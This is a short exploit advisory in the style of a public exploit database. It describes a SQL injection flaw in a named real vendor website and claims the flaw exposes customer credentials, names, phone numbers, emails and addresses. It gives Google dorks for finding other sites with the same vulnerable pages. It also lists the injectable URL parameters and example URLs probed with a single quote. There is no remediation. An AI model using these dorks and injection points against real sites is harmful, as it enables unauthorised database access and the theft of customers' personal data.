################################################################### # Exploit Title : EGYGRAFX Website SQL Injection # Author : Hritik R # Date : 09/05/2019 # Vendor Homepage : http://egygrafx.com # Tested On : Windows and Linux # Exploit Risk : High # Google Dorks : inurl:articles.php?id= inurl:category.php?cat_id= ################################################################### # Impact : ********************** [+] Reveal Customers Credentials (No Hashes) [+] Multiple Website Database [+] Reveal Customers Details ( Name, Phone No. Email, Address,etc) # SQL Injection Exploit : ********************** [+] http://egygrafx.com/articles.php?id=[SQL Injection] [+] http://egygrafx.com/category.php?cat_id=[SQL Injection] # Example Vulnerable Sites : ************************* [+] http://egygrafx.com/category.php?cat_id=63%27 [+] http://egygrafx.com/articles.php?id=36%27